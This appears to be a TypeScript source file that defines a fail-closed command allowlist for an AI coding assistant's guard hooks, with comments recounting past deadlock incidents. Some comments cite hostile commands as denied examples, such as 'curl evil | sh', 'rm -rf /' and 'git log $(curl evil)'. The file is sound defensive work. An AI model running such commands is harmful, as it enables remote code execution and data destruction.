\"(cd\\\\s+([A-Za-z0-9._\\\\/@~+-]+|'[^']+')\\\\s*&&\\\\s*)?\";\n\n// Every hatch below starts with the anchor + the optional `cd` prefix. Spliced in place of each\n// pattern's old bare `^`, so the anchoring at both ends is unchanged.\nconst CD_PREFIX_ERE_ANCHORED = '^' + CD_PREFIX_ERE;\nconst CD_PREFIX_JS_ANCHORED = '^' + CD_PREFIX_JS_SRC;\n\n// Package-manager install commands allowed to pass the fail-closed shim so the assistant can\n// self-heal the guards (run `pnpm install`) when node_modules is absent — otherwise the guard blocks\n// the very command that re-enables it (deadlock). nx/pnpm monorepo only. POSIX ERE (fed to `grep -E`).\n//\n// What's allowed (the realistic self-heal spellings — an earlier version only matched a bare\n// `pnpm install`, so `pnpm i` and `--flag=value` got fail-CLOSED and re-deadlocked the assistant):\n// - pkg managers: pnpm | npm (this nx monorepo uses pnpm; npm is accepted as the fallback. NOT\n// yarn — this repo installs with pnpm/npm only, so yarn stays denied.)\n// - subcommands: install | i (`pnpm i` / `npm i` is just shorthand for `install`)\n// - flags: zero or more `--flag` / `--flag=value` tokens (no whitespace, no operators)\n//\n// An optional LEADING `cd <path> &&` (CD_PREFIX_ERE) — added 2026-07-30. The old comment here argued a\n// `cd` is never needed because Claude Code starts at the repo root. That is false in a LINKED WORKTREE:\n// git copies no node_modules into a new worktree, so the very first call there needs an install in THAT\n// tree, and the harness resets a cwd that left the workspace, so `cd <worktree> && pnpm install` is the only\n// spelling that reaches it. Denying the prefix made the cure unreachable from the one place it was\n// needed. It widens nothing: the prefix cannot change what the install does, and the path token admits\n// no operator (see CD_PREFIX_ERE).\n//\n// Why it's un-smuggleable (the whole point of failing closed): the tail is anchored to `$` and only\n// accepts `--word` tokens, so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`, `<`) can ride\n// along — `pnpm install && rm -rf /` and `pnpm install; curl evil | sh` still FAIL CLOSED.\n// Keep in sync with INSTALLER_ALLOW_JS below (locked by a unit test).\nconst INSTALLER_BODY_ERE = '(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALLER_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALLER_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). The fail-closed shim (pure sh)\n// uses the ERE for the missing-bin case; the runner uses THIS twin (runBashInternal) so installer\n// commands also pass when the bin IS installed but the config is invalid/ahead of the validator —\n// same deadlock, other side. A unit test asserts the two agree on a sample set.\nconst INSTALLER_BODY_JS = '(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALLER_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALLER_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The RECOVERY command, allowed alongside INSTALLER_ALLOW_ERE on every fail-closed path.\n//\n// Why a plain `pnpm install` is NOT enough (learned the hard way): when node_modules is CORRUPT — a\n// package half-written by an install that was killed mid-copy — pnpm sees a package dir carrying the\n// right version in its package.json, considers it installed, and SKIPS it. `pnpm install` cheerfully\n// reports \"up to date\" and the corruption survives every retry. The only reliable cure is to delete\n// node_modules so pnpm re-materializes the package from the (healthy) global store. So the fail-closed\n// escape hatch MUST allow the wipe too, or the assistant is left denying its own cure (deadlock).\n//\n// Kept as tight as INSTALLER_ALLOW_ERE: anchored at both ends, the ONLY shell operator accepted is a\n// single `&&` in exactly one position, and the rm target is literally `node_modules` — nothing else.\n// So `rm -rf /`, `rm -rf node_modules/../..`, `rm -rf node_modules; curl evil | sh` all stay DENIED.\n// Keep in sync with RECOVERY_ALLOW_JS below (locked by a unit test).\nconst RECOVERY_BODY_ERE =\n 'rm[[:space:]]+-rf[[:space:]]+(\\\\./)?node_modules/?([[:space:]]*&&[[:space:]]*(pnpm|npm)[[:space:]]+(install|i)([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RECOVERY_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RECOVERY_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst RECOVERY_BODY_JS =\n 'rm\\\\s+-rf\\\\s+(\\\\.\\\\/)?node_modules\\\\/?(\\\\s*&&\\\\s*(pnpm|npm)\\\\s+(install|i)(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*)?';\nexport const RECOVERY_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RECOVERY_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the human/assistant to run to recover a corrupt node_modules.\nexport const RECOVERY_CMD = 'rm -rf node_modules && pnpm install';\n\n// Git SYNC commands. Part of the ONE L0 allowlist (see L0_ALLOW_ERE), so they are allowed under EVERY\n// L0 fault, not just drift. They used to be gated on drift alone, on the reasoning that no amount of\n// git can fix a missing/broken bin. True but irrelevant: an allowlist entry that cannot help also\n// cannot hurt, and the gating had a real cost — under a stale committed shim, `git pull` is the ONLY\n// cure when the CHECKOUT is the stale side, and it was denied. Ungating it removes that trap.\n//\n// `merge` was REMOVED from this list. It was accepted here while the guards are DOWN, and the drift\n// message had to spend a sentence telling the reader NOT to use the thing the allowlist permits —\n// because redirect-how-to-merge-main blocks `git merge` in every form the moment the guards come back.\n// Main is merged only through the 3-point fork merge (`wp-start-*`). With one global allowlist that\n// hole would widen from one fault to every fault, so the entry goes rather than the gating.\n//\n// The deadlock this entry exists for, hit 2026-07-17:\n//\n// The drift guard was written for ONE direction — you `git pull`, the new package.json pins a NEWER\n// @webpieces, node_modules is still OLD, and `pnpm install` catches it up. But the comparison is a\n// plain `!=`, so it fires just as hard in the INVERSE case: check out a branch (or a local `main`)\n// that is BEHIND origin, and now the PIN is the stale side while node_modules is correct and NEWER.\n//\n// In that inverse case `pnpm install` is not the cure, it is the disease: it happily DOWNGRADES\n// node_modules to the stale pin. The real cure is `git pull` — which the guard denied, because the\n// allowlist only ever contained the installer. So the assistant was told to run the one command that\n// made things worse, while the fix was blocked. Allow the sync commands here and the deadlock is gone.\n//\n// Kept exactly as tight as INSTALLER_ALLOW_ERE: anchored at both ends, and every argument token is a\n// bare word or `--flag` — so no shell operator (`;`, `&&`, `|`, backticks, `$()`, `>`) can ride along.\n// `git pull; curl evil | sh` still FAILS CLOSED. Deliberately NOT `git checkout`: switching branches is\n// what CAUSES this drift, and a fail-closed escape hatch should only contain cures.\n// Keep in sync with SYNC_ALLOW_JS below (locked by a unit test).\nconst SYNC_BODY_ERE = 'git[[:space:]]+(pull|fetch)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + SYNC_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of SYNC_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst SYNC_BODY_JS = 'git\\\\s+(pull|fetch)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const SYNC_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + SYNC_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The CURE for the committed-shim self-guard (now enforced by the binary — see committedShimStale\n// below): regenerate .claude/webpieces/ai-hook.sh from renderShim(). Allowed while that guard is up —\n// like the installer, it is a webpieces-owned, no-network local action whose whole job is to re-arm the\n// guard, so denying it would deadlock the assistant against its own fix. Accepts the realistic spellings of the wp-upgrade-shim bin under\n// pnpm/npm/npx; anchored at both ends with only a bare bin name, so no shell operator can ride along.\n// Keep in sync with UPGRADE_SHIM_ALLOW_JS below (locked by a unit test).\nconst UPGRADE_SHIM_BODY_ERE = '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + UPGRADE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of UPGRADE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst UPGRADE_SHIM_BODY_JS = '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-upgrade-shim';\nexport const UPGRADE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + UPGRADE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command we tell the assistant to run to regenerate a reverted/edited committed shim.\nexport const UPGRADE_SHIM_CMD = 'pnpm exec wp-upgrade-shim';\n\n// The PRIMARY, version-AGNOSTIC cure for the self-guard — and the reason this exists (hit 2026-07-21):\n// the self-guard's deny used to name ONLY `pnpm exec wp-upgrade-shim`, but that bin ships in\n// @webpieces/ai-hook-rules >= 0.4.408. Every repo on an OLDER installed release — i.e. exactly the\n// repos that can hit this, since node_modules is what the shim compares itself against — got\n// \"command not found\" and was left with a hard block and no working cure. In the reporter's words, the\n// message gave \"ZERO information\" on how to actually fix it.\n//\n// A plain `cp` of the installed template over the committed shim has none of that version coupling:\n// templates/ai-hook.sh ships in EVERY release and is byte-identical to renderShim() (locked by a unit\n// test), which is exactly what the binary's committedShimStale() compares the committed shim against;\n// cp onto an existing file keeps the destination's mode, so the shim stays executable with no chmod.\n// It cures the block on any version, old or new —\n// which is why the deny now leads with it and only mentions the bin as the newer equivalent.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, no flags, and BOTH paths are\n// literal webpieces-owned paths — so no other file can be read or written and no operator can ride\n// along. Keep in sync with RESTORE_SHIM_ALLOW_JS below (locked by a unit test).\nconst RESTORE_SHIM_BODY_ERE =\n 'cp[[:space:]]+(\\\\./)?node_modules/@webpieces/ai-hook-rules/templates/ai-hook\\\\.sh[[:space:]]+(\\\\./)?\\\\.claude/webpieces/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + RESTORE_SHIM_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of RESTORE_SHIM_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst RESTORE_SHIM_BODY_JS =\n 'cp\\\\s+(\\\\.\\\\/)?node_modules\\\\/@webpieces\\\\/ai-hook-rules\\\\/templates\\\\/ai-hook\\\\.sh\\\\s+(\\\\.\\\\/)?\\\\.claude\\\\/webpieces\\\\/ai-hook\\\\.sh';\nexport const RESTORE_SHIM_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + RESTORE_SHIM_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The exact command the self-guard's deny tells the assistant to run. Works on EVERY installed version.\nexport const RESTORE_SHIM_CMD =\n 'cp node_modules/@webpieces/ai-hook-rules/templates/ai-hook.sh .claude/webpieces/ai-hook.sh';\n\n// The THIRD cure for the self-guard, and the one with the longest shelf life: the installer itself.\n//\n// `wp-install-ai-hooks` has shipped in every release of this package since it created the shim (the\n// shim's own header line names it as the managing command), and install-entry.ts calls healShim()\n// FIRST, through the dependency-free ./shim module, before it lazily requires the rule engine. So it\n// re-arms the committed shim on a tree too broken to load setup.ts, exactly like wp-upgrade-shim, and\n// it does so on releases that predate wp-upgrade-shim (< 0.4.408) where that bin is not on disk at all.\n// That combination — always present AND a named bin rather than a raw file overwrite — is why the deny\n// now leads with it: the `cp` is version-agnostic too, but Claude Code's own permission classifier\n// treats a bare cp over a repo file as something to confirm, while a named bin reads as a tool call.\n//\n// FLAGS ARE ACCEPTED. The installer's non-interactive spelling is `--target=project`, and a pattern that\n// accepted no flags at all made it untypable — the same deadlock shape as the missing `2>&1 | tail` and\n// the missing `cd` prefix: a deny naming a command the allowlist rejects. The flag token is the identical\n// one INSTALLER_BODY_ERE already allows — `--word` / `--word=value`, no whitespace, no operator — so it\n// widens nothing else: `pnpm wp-install-ai-hooks --target=project && rm -rf /` still FAILS CLOSED.\n//\n// Kept as tight as the other escape hatches: anchored at both ends, bare bin name plus `--flag` tokens\n// only, so no shell operator can ride along. Keep in sync with INSTALL_HOOKS_ALLOW_JS (locked by a unit test).\nconst INSTALL_HOOKS_BODY_ERE =\n '(pnpm|npm|npx)([[:space:]]+(exec|run))?[[:space:]]+wp-install-ai-hooks([[:space:]]+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + INSTALL_HOOKS_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of INSTALL_HOOKS_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst INSTALL_HOOKS_BODY_JS =\n '(pnpm|npm|npx)(\\\\s+(exec|run))?\\\\s+wp-install-ai-hooks(\\\\s+--[A-Za-z][A-Za-z0-9=._/@:-]*)*';\nexport const INSTALL_HOOKS_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + INSTALL_HOOKS_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// THE MISSING-DEPENDENCY cure — the 2026-08-05 \"pnpm install converges to the same broken state\" deadlock.\n//\n// @webpieces/ai-hook-rules reaches a consumer repo through its BINS (wp-ai-guards-hook, named in\n// .claude/settings.json), never through an import. For many releases it ALSO arrived as a transitive\n// dependency of @webpieces/nx-webpieces-rules, and a repo on a hoisting node-linker got its bins in\n// node_modules/.bin for free — so no consumer ever declared it. When that dependency edge was pruned as\n// unused (correctly: nothing imports it), the package left the tree on the very next install and every\n// wp-ai-* bin went with it.\n//\n// The shim then blocked every call and prescribed `pnpm install`, which is a NO-OP here: nothing in\n// package.json asks for the package, so the install reports \"Lockfile is up to date\" and changes\n// nothing. The reporter ran it four times, was denied every other command, and handed the block back to\n// the human. The ONLY cure is to declare the dependency — so the command that declares it has to be on\n// this list, or fault U is a guaranteed deadlock rather than a fixable one.\n//\n// Kept as tight as every other hatch: the subcommand is `add` and nothing else (never `remove`, never\n// `update`), the package is the LITERAL @webpieces/ai-hook-rules with an optional `@<version>`, and the\n// only other tokens accepted are a short `-D`-shaped flag or the same `--word[=value]` token\n// INSTALLER_BODY_ERE already allows. So no OTHER package can be installed through this entry and no\n// shell operator can ride along: `pnpm add -D @webpieces/ai-hook-rules && rm -rf /` still FAILS CLOSED.\n// Keep in sync with ADD_HOOK_PKG_ALLOW_JS below (locked by a unit test).\nconst ADD_FLAG_ERE = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._/@:-]*)';\nconst ADD_HOOK_PKG_BODY_ERE =\n '(pnpm|npm)[[:space:]]+add([[:space:]]+' + ADD_FLAG_ERE + ')*[[:space:]]+@webpieces/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?([[:space:]]+' + ADD_FLAG_ERE + ')*';\nexport const ADD_HOOK_PKG_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ADD_HOOK_PKG_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ADD_HOOK_PKG_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts they agree.\nconst ADD_FLAG_JS = '(-[A-Za-z]|--[A-Za-z][A-Za-z0-9=._\\\\/@:-]*)';\nconst ADD_HOOK_PKG_BODY_JS =\n '(pnpm|npm)\\\\s+add(\\\\s+' + ADD_FLAG_JS + ')*\\\\s+@webpieces\\\\/ai-hook-rules'\n + '(@[A-Za-z0-9._+-]+)?(\\\\s+' + ADD_FLAG_JS + ')*';\nexport const ADD_HOOK_PKG_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ADD_HOOK_PKG_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n/** The package every wp-ai-* bin ships in — the one name fault U is about. */\nexport const HOOK_PKG = '@webpieces/ai-hook-rules';\n\n/** The version-less spelling of the fault-U cure; the deny appends `@<pin>` when it can infer one. */\nexport const ADD_HOOK_PKG_CMD = `pnpm add -D ${HOOK_PKG}`;\n\n// READ-ONLY ORIENTATION — the 2026-08-03 \"where am I standing?\" deadlock.\n//\n// Every entry above is a CURE. None of them tells you WHICH TREE you are in, and that is the one thing\n// an agent has to know before a cure can work. The incident: an agent worked in a linked worktree while\n// the drift fault (D) was measured against the PRIMARY clone ($CLAUDE_PROJECT_DIR). Its `pnpm install`\n// ran in the worktree, succeeded, and changed nothing in the tree being measured, so the block never\n// lifted. It could not run `pwd` — read-only bash was not on this list at all — so it could not see the\n// discrepancy, invented a false theory (\"the harness is stripping my `cd` prefix\"), burned five\n// identical installs and handed the problem back to the human. One allowed `pwd` ends that on attempt\n// one.\n//\n// So this entry is not a cure, it is the DIAGNOSIS the cures depend on: where am I (`pwd`,\n// `git rev-parse --show-toplevel`), which tree is this (`git worktree list`), which branch and what\n// state (`git status`, `git branch`, `git log`, `git diff`, `git show`). All local, all read-only, none\n// of them touching the network or the working tree. The sibling guard merged-branch-bash-guard already\n// permits `git status|log|diff|show|branch`, so this is the policy that already exists, applied one\n// layer out.\n//\n// THE `git worktree` TRAP. `git worktree add|remove|prune|move|repair` all MUTATE, and `git worktree`\n// is the ONLY multi-word subcommand here — which is exactly why it gets its own alternative pinned to\n// the LITERAL word `list` rather than joining the single-word set. A bare `git worktree` matches\n// nothing, and no other subcommand can reach the accepted branch. Deny cases for `add`/`remove` are\n// explicit in shim-drift.spec.ts.\n//\n// Kept at exactly the tightness of SYNC_BODY_ERE — the same argument token, `--flag` or a bare word\n// from a character class holding no shell metacharacter — so nothing can ride along: `pwd; curl evil |\n// sh`, `git status && rm -rf /`, `git log $(curl evil)` and `git status | sh` all FAIL CLOSED. Note the\n// subcommand word must follow `git` IMMEDIATELY: `git -c core.pager=evil status` and `git -C /other\n// status` stay denied, the same property the sync entry has.\n// Keep in sync with ORIENT_ALLOW_JS below (locked by a unit test).\nconst ORIENT_BODY_ERE =\n '(pwd|git[[:space:]]+(status|log|diff|show|branch|rev-parse)|git[[:space:]]+worktree[[:space:]]+list)([[:space:]]+(--)?[A-Za-z0-9][A-Za-z0-9=._/@:-]*)*';\nexport const ORIENT_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + ORIENT_BODY_ERE + CAPTURE_TAIL_ERE;\n\n// JS-regex twin of ORIENT_ALLOW_ERE (POSIX `[[:space:]]` → `\\s`). A unit test asserts the two agree.\nconst ORIENT_BODY_JS =\n '(pwd|git\\\\s+(status|log|diff|show|branch|rev-parse)|git\\\\s+worktree\\\\s+list)(\\\\s+(--)?[A-Za-z0-9][A-Za-z0-9=._\\\\/@:-]*)*';\nexport const ORIENT_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + ORIENT_BODY_JS + CAPTURE_TAIL_JS_SRC);\n\n// The command the incident turned on: the agent could not ask which tree it was standing in.\nexport const ORIENT_CMD = 'pwd';\n\n// The exact command the self-guard's deny names FIRST. Present in every release that has a shim.\nexport const INSTALL_HOOKS_CMD = 'pnpm exec wp-install-ai-hooks';\n\n// The non-interactive spelling of the FULL install (config + CI gate + hook wiring): the `--target`\n// flag is what replaces the interactive prompt. `--flag=value` is accepted by the same token\n// INSTALLER_BODY_ERE uses, so this spelling is pinned as a sample rather than given its own pattern.\nexport const INSTALL_HOOKS_TARGET_CMD = 'pnpm wp-install-ai-hooks --target=project';\n\n// ---------------------------------------------------------------------------\n// THE L0 ALLOWLIST — one list, consulted identically by every tooling-integrity fault.\n//\n// L0 is the outermost layer: it blocks work while node_modules, the committed shim, or\n// webpieces.config.json are in a state that makes every OTHER guard untrustworthy. Its seven faults are\n// D version drift (sh, before the bin runs) S committed shim != renderShim() (bin)\n// X bin missing (sh) C webpieces.config.json missing (bin)\n// K bin present, crashed (sh) Y a loaded rule has no config key (bin)\n// U bin missing AND the package is not declared (sh) — X's cure is a no-op here, hence its own fault\n//\n// Drawn as a decision matrix, L0 has NO genuine second dimension. Every branch reduces to\n// fault present AND call not on the allowlist -> BLOCK(messageFor(fault))\n// and the only thing that varies per fault is the MESSAGE. The applicability of each cure used to vary\n// too, but that variation was an accident of which code path a fault happened to be detected in, and it\n// cost four real defects:\n// - under S, `pnpm install` was denied — so when node_modules is the STALE side, every permitted cure\n// wrote the OLD binary's renderShim() over a NEWER committed shim, silently reverting a commit.\n// - under S, `git pull` was denied — the only cure when the CHECKOUT is the stale side.\n// - under D/X/K, every Read was denied — no way to inspect, not even the config that disables it.\n// - under C/Y, `rm -rf node_modules && pnpm install` was denied while a bare `pnpm install` passed.\n// All four disappear by consulting ONE list. See webpieces.guard-matrix.md for the rendered table.\n//\n// Composed from the BODY of each cure above so there is exactly one copy of every pattern: the\n// named exports stay the vocabulary (and keep their own tests), this union is the decision.\n//\n// L0_ALLOWLIST is that list as DATA — the one array isAllowed(), the rendered shim's grep and the\n// published matrix doc (webpieces.guard-matrix.md) all derive from, so the doc cannot describe an\n// allowlist the code does not have. Adding an entry here is the ONLY way to widen L0.\n// ---------------------------------------------------------------------------\n\n/** One tool call as L0 judges it: the tool name, the Bash command (or ''), the file target (or ''). */\nexport class L0Call {\n constructor(\n readonly toolName: string,\n readonly command: string,\n readonly filePath: string,\n ) {}\n}\n\n/**\n * One entry of THE L0 allowlist. Data-only → a class, per CLAUDE.md.\n *\n * `ere`/`js` are the twin regex BODIES for a Bash entry, or null for a tool-shaped entry (Read, the\n * webpieces.config.json target) that no regex can express. `sample` is a call this entry must accept —\n * it is what the matrix-coverage and cure-reachability tests drive isAllowed() with.\n *\n * `extraSamples` pins ADDITIONAL spellings the same entry must accept. A spelling that some deny\n * message prescribes belongs here, or nothing stops a later tightening of the pattern from making that\n * message's cure untypable again — which is the deadlock shape this whole module exists to prevent.\n *\n * `cure` is the ONE thing that is not uniform across the list, and it is not about L0 at all — see\n * L0_CURE_ALLOW_JS below. Every entry is judged identically while an L0 fault is up; `cure` decides\n * only whether the entry ALSO bypasses the downstream (L1) guards on a HEALTHY tree.\n */\nexport class L0AllowEntry {\n // eslint-disable-next-line @typescript-eslint/max-params\n constructor(\n readonly label: string,\n readonly kind: 'pass' | 'allow',\n /**\n * True when this entry REPAIRS the tooling (install, sync, shim restore). A cure has to run\n * before webpieces.config.json can even be loaded, so it bypasses everything, always. A\n * non-cure (read-only orientation) is allowed while a fault is up and is otherwise an ordinary\n * command the downstream guards still judge.\n */\n readonly cure: boolean,\n readonly ere: string | null,\n readonly js: string | null,\n readonly sample: L0Call,\n readonly extraSamples: readonly L0Call[] = [],\n ) {}\n\n /** Every call this entry pins: the canonical sample plus every extra spelling. */\n allSamples(): readonly L0Call[] {\n return [this.sample, ...this.extraSamples];\n }\n}\n\nexport const L0_ALLOWLIST: readonly L0AllowEntry[] = [\n new L0AllowEntry('any Read', 'pass', false, null, null, new L0Call('Read', '', 'README.md')),\n new L0AllowEntry(`a Write/Edit whose target is ${CONFIG_FILENAME}`, 'pass', false, null, null,\n new L0Call('Edit', '', `/repo/${CONFIG_FILENAME}`)),\n new L0AllowEntry('pnpm|npm install', 'allow', true, INSTALLER_BODY_ERE, INSTALLER_BODY_JS,\n new L0Call('Bash', 'pnpm install', '')),\n new L0AllowEntry(`${RECOVERY_CMD} - the cure for a CORRUPT node_modules`, 'allow', true, RECOVERY_BODY_ERE, RECOVERY_BODY_JS,\n new L0Call('Bash', RECOVERY_CMD, '')),\n // webpieces-disable no-fetch -- prose naming the git sync commands in a doc label, not an HTTP call\n new L0AllowEntry('git pull / git fetch - merge is NOT on the list', 'allow', true, SYNC_BODY_ERE, SYNC_BODY_JS,\n new L0Call('Bash', 'git pull', '')),\n new L0AllowEntry(UPGRADE_SHIM_CMD, 'allow', true, UPGRADE_SHIM_BODY_ERE, UPGRADE_SHIM_BODY_JS,\n new L0Call('Bash', UPGRADE_SHIM_CMD, '')),\n new L0AllowEntry(RESTORE_SHIM_CMD, 'allow', true, RESTORE_SHIM_BODY_ERE, RESTORE_SHIM_BODY_JS,\n new L0Call('Bash', RESTORE_SHIM_CMD, '')),\n new L0AllowEntry(`${INSTALL_HOOKS_CMD} (flags allowed, e.g. --target=project)`, 'allow', true, INSTALL_HOOKS_BODY_ERE, INSTALL_HOOKS_BODY_JS,\n new L0Call('Bash', INSTALL_HOOKS_CMD, ''),\n [new L0Call('Bash', INSTALL_HOOKS_TARGET_CMD, '')]),\n // The fault-U cure. `@<version>` is pinned as an extra sample because the deny INFERS a pin from the\n // repo's other @webpieces pins and prescribes the versioned spelling — the exact shape that must not\n // become untypable under a later tightening.\n new L0AllowEntry(`${ADD_HOOK_PKG_CMD} (an @version and extra flags allowed)`, 'allow', true, ADD_HOOK_PKG_BODY_ERE, ADD_HOOK_PKG_BODY_JS,\n new L0Call('Bash', ADD_HOOK_PKG_CMD, ''),\n [\n new L0Call('Bash', `${ADD_HOOK_PKG_CMD}@0.4.574`, ''),\n new L0Call('Bash', `pnpm add -D -w ${HOOK_PKG}@0.4.574`, ''),\n new L0Call('Bash', `npm add --save-dev ${HOOK_PKG}`, ''),\n ]),\n // NOT a cure (`cure: false`): it repairs nothing, so it must not bypass the L1 guards on a healthy\n // tree — `git status` from a subdirectory still meets force-to-root. It is on the L0 list because\n // while a fault is UP you have to be able to see where you are standing.\n new L0AllowEntry(\n 'read-only orientation: pwd, git status/log/diff/show/branch/rev-parse, git worktree list',\n 'allow', false, ORIENT_BODY_ERE, ORIENT_BODY_JS,\n new L0Call('Bash', ORIENT_CMD, ''),\n [\n new L0Call('Bash', 'git rev-parse --show-toplevel', ''),\n new L0Call('Bash', 'git worktree list', ''),\n new L0Call('Bash', 'git status', ''),\n ]),\n];\n\nconst L0_BODIES_ERE = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.ere === null ? [] : [e.ere]));\nconst L0_BODIES_JS = L0_ALLOWLIST.flatMap((e: L0AllowEntry): string[] => (e.js === null ? [] : [e.js]));\n\n// The ONE Bash allowlist. Anchored and tailed exactly like each individual hatch, so it inherits every\n// security property: no shell operator can ride along, and only the optional leading `cd <path> &&` /\n// trailing `2>&1 | tail -N` are tolerated.\nexport const L0_ALLOW_ERE =\n CD_PREFIX_ERE_ANCHORED + '(' + L0_BODIES_ERE.join('|') + ')' + CAPTURE_TAIL_ERE;\n\n// L0_ALLOW_ERE as it must be SPELLED inside a single-quoted sh string — i.e. the exact bytes the\n// rendered shim carries in `grep -Eq '<here>'`.\n//\n// It exists because CD_PREFIX_ERE now contains a literal `'` (the single-quoted-path branch), and a\n// `'` inside a single-quoted sh word ENDS the word. The standard cure is the `'\\''` dance: close the\n// quote, emit an escaped literal quote, reopen. Splicing the raw ERE would produce a shim that is not\n// even valid sh, which is why this conversion lives here beside the pattern rather than in the\n// renderer — the pattern and its sh spelling must never be able to drift apart.\nexport const L0_ALLOW_ERE_SH = L0_ALLOW_ERE.split(\"'\").join(`'\\\\''`);\n\n// JS twin of L0_ALLOW_ERE. A unit test asserts the two agree on a shared sample set.\nexport const L0_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The CURE subset of the same list — the entries that REPAIR the tooling.\n//\n// This is not a second allowlist and it is not an L0 concept. It exists because runner.ts consults the\n// L0 patterns in a place where NO fault has been established: ahead of loading webpieces.config.json,\n// so that a config the installed validator cannot parse (or one that is a release AHEAD of it) cannot\n// trap the `pnpm install` that fixes exactly that. That bypass skips every L1 guard as well, which is\n// correct for a repair command and WRONG for anything else.\n//\n// So when read-only orientation joined the list, it had to join it as a NON-cure. Otherwise adding\n// `pwd` would silently have switched off force-to-root for `git status`, `git log` and `git diff` on a\n// perfectly healthy repo — a guard deleted as a side effect of a diagnostic. Under an actual fault\n// isAllowed() still answers for the WHOLE list, orientation included; the split changes nothing there.\nconst L0_CURE_BODIES_JS = L0_ALLOWLIST.flatMap(\n (e: L0AllowEntry): string[] => (e.js === null || !e.cure ? [] : [e.js]));\nexport const L0_CURE_ALLOW_JS =\n new RegExp(CD_PREFIX_JS_ANCHORED + '(' + L0_CURE_BODIES_JS.join('|') + ')' + CAPTURE_TAIL_JS_SRC);\n\n// The non-Bash half of the same list, kept here so sh and JS answer the identical question.\n//\n// `Read` is on the list because you must be able to READ to know how to fix — the original\n// block-everything-but-the-cures version deadlocked a repo that also needed its config fixed. Note the\n// asymmetry this creates and why it is accepted: under S/C/Y the bin IS running, so an allowed Read\n// falls THROUGH to read-stale-guard and stale-main protection still holds; under D/X/K the bin is never\n// executed, so there is nothing to fall through to and the Read is genuinely unguarded. Narrowing this\n// entry to a path pattern is the fix for that, and is deliberately left for a follow-up.\nexport const READ_TOOLS: ReadonlySet<string> = new Set(['Read']);\n\n/**\n * `isAllowed(call)` — THE L0 allowlist, with no fault parameter. See the block comment above.\n *\n * Returns the OUTCOME KIND, because the two are not the same thing:\n * - 'pass' → L0 has no objection; fall THROUGH so L1/L2 still judge this call (Read, config edit).\n * - 'allow' → terminal; bypass everything, because a cure must stay reachable even when a downstream\n * guard would block it.\n * - null → not on the list.\n */\n// webpieces-disable no-function-outside-class -- pure predicate over the exported allowlist data, in the dependency-free shim module (it must load on a corrupt tree, so it cannot depend on DI)\nexport function isAllowed(toolName: string, command: string, filePath: string): 'pass' | 'allow' | null {\n if (READ_TOOLS.has(toolName)) return 'pass';\n if (path.basename(filePath) === CONFIG_FILENAME) return 'pass';\n if (L0_ALLOW_JS.test(command.trim())) return 'allow';\n return null;\n}\n"]}
|
|
